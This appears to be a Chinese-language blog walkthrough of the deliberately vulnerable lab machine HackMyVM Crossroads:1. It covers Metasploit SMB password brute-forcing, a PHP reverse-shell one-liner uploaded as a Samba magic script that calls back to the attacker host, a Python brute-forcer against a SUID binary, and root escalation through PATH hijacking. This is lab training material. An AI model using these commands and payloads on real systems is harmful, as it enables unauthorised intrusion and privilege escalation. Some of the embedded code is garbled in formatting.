原创 | HackMyVM: CROSSROADS:1

  • A+
所属分类:安全文章
原创 | HackMyVM: CROSSROADS:1
点击上方蓝字 关注我
crossroads:1为3月份vulnhub和HackMyVM刚刚上架的一台靶机,模拟了一台带有漏洞的医疗网站web服务器,要攻破这台机器,我们的最终目标是拿下它的root权限,靶机涉及到的漏洞点有smb魔术脚本、本地suid文件提权、环境变量提权等。

靶机比较新,斗胆下载来做了一下,笔者技术菜,下笔诚惶诚恐,若有什么遗漏点或者技术不到位之处还请各位师傅斧正。


原创 | HackMyVM: CROSSROADS:1
网络结构
原创 | HackMyVM: CROSSROADS:1

环境搭建平台为VMware15,使用VirtualBox亦可,网络为nat模式,网段192.168.1.0/24

网络由攻击机kali、靶机Crossroads:1组成

靶机ip:
192.168.1.151
kali linux ip:192.168.1.137
靶机获取:
https://download.vulnhub.com/crossroads/crossroads_vh.ova
https://downloads.hackmyvm.eu/crossroads.zip


原创 | HackMyVM: CROSSROADS:1
信息收集
原创 | HackMyVM: CROSSROADS:1

主机发现:
nmap -sP 192.168.1.0/24


如图,图中192.168.1.1为VMnet8网卡地址,1.3为网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.151

原创 | HackMyVM: CROSSROADS:1


端口服务扫描:
nmap -p 1-65535 -A 192.168.1.151 -sV -T4


如图,靶机除开放80端口外,还开放了139和445端口,开放samba服务


原创 | HackMyVM: CROSSROADS:1


访问samba服务,不允许匿名访问,先搁置

原创 | HackMyVM: CROSSROADS:1


目录爆破:

python dirsearch.py -u 192.168.1.151


原创 | HackMyVM: CROSSROADS:1


仅扫描到两个可访问页面,其中index.html为网站主页,查看各链接跳转后,仅发现一个注册、登录页面,为普通用户登录,未发现后台登录页面

原创 | HackMyVM: CROSSROADS:1


robots.txt给我们提示了一张图片crossroads.png


原创 | HackMyVM: CROSSROADS:1

原创 | HackMyVM: CROSSROADS:1


使用enum4linux对靶机进行信息收集
enum4linux 192.168.1.151 -A


在收集结果中,提供了部分用户信息给我们,用户名albert


原创 | HackMyVM: CROSSROADS:1


原创 | HackMyVM: CROSSROADS:1
漏洞挖掘与利用
原创 | HackMyVM: CROSSROADS:1

至此,在web服务中并没有看到什么后台管理页面,也未发现有明显的web漏洞点可供利用,需要从smb寻找思路。

在之前的信息收集中,我们获得了一个用户名albert,这里可以尝试使用该用户名对smb服务进行爆破。

使用msf的smb爆破模块,设置好地址、线程、字典等信息
(rootkali)-[~]# msfconsole
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set rhosts 192.168.1.151
msf6 auxiliary(scanner/smb/smb_login) > set threads 100
msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/smb/smb_login) > set VERBOSE false


show options


原创 | HackMyVM: CROSSROADS:1


运行msf,成功拿到albert的密码bradley1

原创 | HackMyVM: CROSSROADS:1


连接smb服务,进入smbshare目录


原创 | HackMyVM: CROSSROADS:1


在图中我们可以看到一个smb.conf文件,查看此文件,发现是smb的配置文件

原创 | HackMyVM: CROSSROADS:1


如上图,我们可以看到magicscript选项被设置了文件名smbscript.sh,magicscript选项为魔术脚本,这个选项如果被设置了具体文件名,则Samba将在用户打开和关闭文件后立即运行该文件。


利用这个特性,这里我们可以自己写一个smbscript.sh文件,利用smb上传,获取反弹shell

php -r '$sock=fsockopen("192.168.1.137",1234);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'


kali端监听端口

原创 | HackMyVM: CROSSROADS:1


使用smbclient上传文件

smbclient //192.168.1.151/smbshare/ -U albert


原创 | HackMyVM: CROSSROADS:1


put smbscript.sh


原创 | HackMyVM: CROSSROADS:1


反弹成功

原创 | HackMyVM: CROSSROADS:1


原创 | HackMyVM: CROSSROADS:1
权限提升
原创 | HackMyVM: CROSSROADS:1

获取一个交互式shell,如图,我们是以albert的身份登录

python -c "import pty;pty.spawn('/bin/bash');"

原创 | HackMyVM: CROSSROADS:1


利用smb上传一个本地信息收集脚本LinEnum.sh


原创 | HackMyVM: CROSSROADS:1


运行该脚本,将运行结果保存至a.txt

原创 | HackMyVM: CROSSROADS:1


再利用smb将结果下载至本地


原创 | HackMyVM: CROSSROADS:1


在脚本收集的信息中,我们可以看到在设置了suid的文件中有一个文件beroot,显然不是系统命令

原创 | HackMyVM: CROSSROADS:1


到/home/albert目录下,运行该程序,提示我们输入root密码,结合脚本的名字beroot,这个程序应该是实现猜解root密码,且运行的时候会先进行清屏,推测调用了clear命令,暂时还不知道调用了什么其他的系统命令


原创 | HackMyVM: CROSSROADS:1


除了这个suid文件外,暂时还没有发现什么其他可疑的漏洞点,系统内核的版本也相当高,为Debian 4.19.160-2,查不到什么系统漏洞。

此时还剩下一张图片我们没有使用,就是之前在robots.txt看到的crossroads.png,这个文件就存放在/home/albert目录下,将其移动至/home/albert/smbshare目录后,同样利用smb服务将其下载到本地

原创 | HackMyVM: CROSSROADS:1


使用binwalk查看此图片,并没有发现什么特殊信息


原创 | HackMyVM: CROSSROADS:1


使用stegoveritas提取图片信息,stegoveritas是一款通用隐写术检测工具,可以提取一些常见隐写法隐藏的文件
获取链接:https://github.com/bannsec/stegoVeritas

原创 | HackMyVM: CROSSROADS:1

原创 | HackMyVM: CROSSROADS:1


提取结果被放置在一个result目录下,可以看到提取出来很多文件


原创 | HackMyVM: CROSSROADS:1


查看第一个,是一个两千多行的字典,猜测beroot程序的密码就在此字典中
cat 1617112472.3782713-0b000cfc1c19ffccdd494adeb00c3d4e

原创 | HackMyVM: CROSSROADS:1


将其内容复制进txt文件

cat 1617112472.3782713-0b000cfc1c19ffccdd494adeb00c3d4e > 1.txt

利用smb上传至靶机

原创 | HackMyVM: CROSSROADS:1


此时我们需要利用此字典中的密码来测试beroot程序,

手动试的话太过繁琐,这里通过编写一个脚本来代替人工

/usr/bin/python3
import subprocessimport osimport timeimport sys
path = '/usr/bin/echo'content = "wrong password!!"blank = " "executable = "beroot"
def broot(): os.system("export TERM=xterm") with open("1.txt","r",encoding="ISO-8859-1") as file: words = file.read().splitlines() //读取字典条目
for word in words: //遍历字典 execute = subprocess.getoutput(path + blank + (str(word)) + " | ./" + executable) //利用getoutput函数执行系统命令,运行beroot,并返回执行结果 print(execute) if content not in execute: print("[!]Password:" + word) //打印正确密码 sys.exit(0)
broot()

同样使用smb服务将脚本b.py上传至靶机

原创 | HackMyVM: CROSSROADS:1


之后将字典1.txt和脚本b.py移至beroot程序所在的目

录/home/albert,运行

python3 b.py


原创 | HackMyVM: CROSSROADS:1


如上图,密码停在了#1bitch,我们手动测试下beroot,
然而此时仍然提示wrong password

原创 | HackMyVM: CROSSROADS:1


我们将密码#1bitch从字典中去除,上传新字典再运行一
次,这次密码停在了lemuel,且提示了我们其他信息:
do ls and find root creds

原创 | HackMyVM: CROSSROADS:1


我们再次手动进行测试,显示结果与脚本运行是一致的


原创 | HackMyVM: CROSSROADS:1


回显信息提示我们查看当前目录,寻找creds,我们照做,
可以看到当前目录下多出了一个文件rootcreds

原创 | HackMyVM: CROSSROADS:1


查看此文件,给了我们一段文本,可能是root密码,看来之前用beroot测试出的并不是root密码


原创 | HackMyVM: CROSSROADS:1


su登录测试,成功提权至root

原创 | HackMyVM: CROSSROADS:1


原创 | HackMyVM: CROSSROADS:1
换个思路
原创 | HackMyVM: CROSSROADS:1


之前提到在运行beroot程序时,会先进行清屏操作,怀疑调用了clear程序,反汇编这个程序的话,会发现这个程序并没有直接实现功能,而是调用了/root目录下的一个beroot.sh程序

原创 | HackMyVM: CROSSROADS:1


而/root目录并没有给albert访问权限


原创 | HackMyVM: CROSSROADS:1


这样我们只能盲猜它调用了clear命令,实际上做了清屏操作的话,大概率是调用了clear命令。

我们这里可以借助环境变量来劫持命令进行提权,环境变量提权,顾名思义,使用环境变量进行提权,因为我们猜测beroot.sh运行时调用系统命令clear,而此程序又是以root身份运行,如若我们可以添加环境变量,我们就可以伪造一个clear程序添加进环境变量,beroot在调用命令时首先检索环境变量就会调用到我们伪造的程序,执行我们想要的命令,来达到提权的效果。

首先伪造一个clear程序:

原创 | HackMyVM: CROSSROADS:1


估计环境变量文件我们是没有权限更改的,但可以暂时更改环境变量
export PATH=/home/albert:$PATH


给clear添加权限


原创 | HackMyVM: CROSSROADS:1


再次运行beroot,成功提权至root


原创 | HackMyVM: CROSSROADS:1


往期推荐
原创 | HackMyVM: CROSSROADS:1
原创 | HackMyVM: CROSSROADS:1

MyBatis和MyBatis可能导致的sql注入

原创 | HackMyVM: CROSSROADS:1

驱动病毒那些事(二)——回调

原创 | HackMyVM: CROSSROADS:1

一次金融行业的红蓝对抗总结


原创 | HackMyVM: CROSSROADS:1
你要的分享、在看与点赞都在这儿~

本文始发于微信公众号(湘雪尘奕):原创 | HackMyVM: CROSSROADS:1

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: